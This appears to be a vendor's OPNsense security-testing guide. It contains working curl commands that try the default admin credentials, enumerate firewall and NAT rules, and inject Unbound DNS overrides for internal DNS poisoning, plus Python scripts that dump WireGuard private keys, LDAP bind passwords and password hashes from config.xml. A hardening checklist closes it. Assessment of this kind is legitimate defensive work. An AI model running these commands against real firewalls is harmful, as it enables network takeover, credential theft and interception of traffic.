OPNsense Security Testing: Web UI Credentials, API Key, Backup Config Export, and Firewall Bypass

OPNsense is one of the most widely deployed open-source firewalls for self-hosted infrastructure and small business environments, based on HardenedBSD and the successor to pfSense. As the network perimeter device, OPNsense controls all inbound and outbound traffic — compromising it is equivalent to owning the network. Key assessment areas: OPNsense defaults to admin/opnsense on first boot and a significant percentage of lab and small-business installations never change this; the OPNsense REST API uses API key and API secret pairs stored in the configuration file at /conf/config.xml; the full configuration backup exports a complete XML file containing all firewall rules, OpenVPN/WireGuard certificates and private keys, user bcrypt password hashes, and LDAP bind credentials; many OPNsense deployments expose the web management interface on the WAN interface; and the Unbound DNS API allows adding host overrides to poison internal DNS resolution. This guide covers systematic OPNsense security assessment.

Table of Contents

  1. Default Credentials and Web UI Access
  2. REST API Key Exploitation
  3. Configuration Backup Credential Extraction
  4. OPNsense Security Hardening

Default Credentials and Web UI Access

# OPNsense — default credential testing and web UI enumeration
OPNSENSE_URL="https://192.168.1.1"  # default LAN IP

# Test default admin/opnsense credentials
# OPNsense uses HTTP Basic Auth for API, cookie auth for web UI
RESPONSE=$(curl -sk -o /dev/null -w "%{http_code}" \
  -u "admin:opnsense" \
  "${OPNSENSE_URL}/api/core/firmware/status" 2>/dev/null)
echo "Default admin/opnsense HTTP status: ${RESPONSE}"
# 200 = successful authentication with default credentials

# Check if management interface is reachable on non-LAN interfaces
# Many deployments expose web console on all interfaces
for IP in "203.0.113.1" "192.168.1.1" "10.0.0.1"; do
    STATUS=$(curl -sk --max-time 5 -o /dev/null -w "%{http_code}" \
      "https://${IP}/" 2>/dev/null)
    if [ "${STATUS}" != "000" ]; then
        echo "OPNsense web UI reachable at https://${IP}/ HTTP ${STATUS}"
    fi
done

# Enumerate OPNsense version and installed plugins
curl -sk -u "admin:opnsense" \
  "${OPNSENSE_URL}/api/core/firmware/status" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    print(f'Product name: {d.get(\"product_name\")}')
    print(f'Product version: {d.get(\"product_version\")}')
    print(f'Base: {d.get(\"product_id\")}')
    print(f'Status: {d.get(\"status\")}')
except Exception as e: print(f'Parse error: {e}')
" 2>/dev/null

REST API Key Exploitation

# OPNsense REST API — key extraction and exploitation
OPNSENSE_URL="https://192.168.1.1"

# OPNsense API keys are stored in /conf/config.xml in the users section
# Each API key has a corresponding API secret (SHA512-hashed in config)
# Generated key/secret pairs are shown once at creation — the secret is
# stored as a one-way hash so only the hash is available from the config file

# With admin access — enumerate all API keys and their owners
curl -sk -u "APIKEY:APISECRET" \
  "${OPNSENSE_URL}/api/core/firmware/status" 2>/dev/null
# Any valid key:secret pair works for API access

# Firewall rule enumeration — complete rule table with actions
curl -sk -u "APIKEY:APISECRET" \
  "${OPNSENSE_URL}/api/firewall/filter/searchRule?current=1&rowCount=100" \
  2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    rules = d.get('rows',[])
    total = d.get('rowCount',0)
    print(f'Firewall rules: {total}')
    for r in rules[:20]:
        print(f'  [{r.get(\"sequence\")}] {r.get(\"action\")} {r.get(\"interface\")} {r.get(\"source_net\")} -> {r.get(\"destination_net\")}:{r.get(\"destination_port\")} ({r.get(\"description\",\"\")})')
except Exception as e: print(f'Error: {e}')
" 2>/dev/null

# NAT rule enumeration — exposes internal topology
curl -sk -u "APIKEY:APISECRET" \
  "${OPNSENSE_URL}/api/firewall/nat/searchRule?current=1&rowCount=50" \
  2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    rules = d.get('rows',[])
    print(f'NAT rules: {len(rules)}')
    for r in rules:
        print(f'  Port-forward: {r.get(\"interface\")} {r.get(\"destination_port\")} -> {r.get(\"target\")}:{r.get(\"local_port\")} ({r.get(\"description\",\"\")})')
except: pass
" 2>/dev/null

# Unbound DNS host override injection — internal DNS poisoning
curl -sk -u "APIKEY:APISECRET" \
  -X POST "${OPNSENSE_URL}/api/unbound/settings/addHostOverride" \
  -H "Content-Type: application/json" \
  -d '{"host":{"enabled":"1","hostname":"internal-target","domain":"corp.local","server":"10.10.10.99","description":"test"}}' \
  2>/dev/null

Configuration Backup Credential Extraction

# OPNsense full configuration backup — all credentials in one XML file
# Access via web UI: System > Configuration > Backups > Download
# Or via direct file read on the OPNsense host

# Extract API keys from config.xml (if you have filesystem access)
python3 -c "
import xml.etree.ElementTree as ET
tree = ET.parse('/conf/config.xml')
root = tree.getroot()
# Extract users and their API keys
for user in root.findall('.//user'):
    name = user.findtext('name','')
    bcrypt = user.findtext('password','')
    print(f'User: {name}')
    if bcrypt:
        print(f'  Password hash: {bcrypt[:40]}...')
    for key in user.findall('.//key'):
        k = key.findtext('key','')
        if k:
            print(f'  API key: {k[:20]}...')
" 2>/dev/null

# Extract VPN credentials from config
python3 -c "
import xml.etree.ElementTree as ET
tree = ET.parse('/conf/config.xml')
root = tree.getroot()
# OpenVPN server certificates
for ovpn in root.findall('.//openvpn-server'):
    desc = ovpn.findtext('description','')
    ca = ovpn.findtext('caref','')
    cert = ovpn.findtext('certref','')
    print(f'OpenVPN server: {desc} CA={ca} Cert={cert}')
# WireGuard private keys
for wg in root.findall('.//wireguard/server'):
    name = wg.findtext('name','')
    privkey = wg.findtext('privatekey','')
    pubkey = wg.findtext('publickey','')
    print(f'WireGuard server: {name}')
    if privkey:
        print(f'  Private key: {privkey}')
# LDAP authentication server credentials
for ldap in root.findall('.//authserver'):
    name = ldap.findtext('name','')
    host = ldap.findtext('host','')
    binddn = ldap.findtext('binddn','')
    bindpw = ldap.findtext('bindpw','')
    print(f'LDAP server: {name} host={host}')
    print(f'  Bind DN: {binddn}')
    print(f'  Bind password: {bindpw}')
" 2>/dev/null

OPNsense Security Hardening

OPNsense Security Hardening Checklist:
Security TestMethodRisk
Default admin/opnsense credentialsHTTP Basic Auth to /api/core/firmware/status with admin:opnsense — 200 response confirms default credentials active; provides full REST API administrative access to all firewall functionsCritical
WAN management interface exposurePort scan firewall's WAN IP for ports 443 and 22; HTTP request to https://WAN-IP/ — if reachable, web management is exposed to internet; enables credential brute force from any locationCritical
Configuration backup credential extractionSystem > Configuration > Backups download (requires admin auth); XML file contains all user password bcrypt hashes, WireGuard private keys, OpenVPN certificate private keys, and LDAP bind credentials in plaintextCritical
Firewall rule enumeration via APIGET /api/firewall/filter/searchRule — returns complete firewall rule table including all ACLs, NAT rules, and aliases; reveals internal network topology and allowed traffic pathsHigh
Unbound DNS host override injectionPOST /api/unbound/settings/addHostOverride with API key — adds DNS A record overrides that redirect internal hostname resolution; enables MITM attacks on internal HTTP/HTTPS services by redirecting domain names to attacker-controlled IPsHigh (requires API access)

Automate OPNsense Security Testing

Ironimo tests OPNsense deployments for default credential exploitation, WAN management interface exposure, REST API authentication bypass, firewall rule enumeration and topology mapping, configuration backup extraction with credential analysis, Unbound DNS injection risk, LDAP bind credential exposure in config, and WireGuard/OpenVPN private key access assessment.

Start free scan